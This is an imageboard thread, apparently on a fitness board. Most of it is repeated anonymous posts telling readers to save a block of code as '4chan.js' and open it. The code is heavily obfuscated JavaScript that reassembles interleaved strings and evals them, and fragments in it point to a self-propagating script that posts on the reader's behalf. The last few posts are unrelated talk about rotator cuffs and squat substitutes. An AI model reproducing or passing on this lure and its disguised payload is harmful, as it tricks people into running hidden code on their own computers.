'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3zcna6k

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3fy1dhg

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2s998g6

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2zbbzfd

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
cdbouw

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1m8daj5

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
b4sdjd

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2c64rt0

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
bumpz
>> Anonymous
>>435617

ironically, upright rows actually helped my rotator cuff injury significantly.

theyre silly
>> Anonymous
I need halp here, My gym only has a smith machine and no power cages so what can i do to substitute squats?
>> Anonymous
You could try and power clean as much as you can and front squat that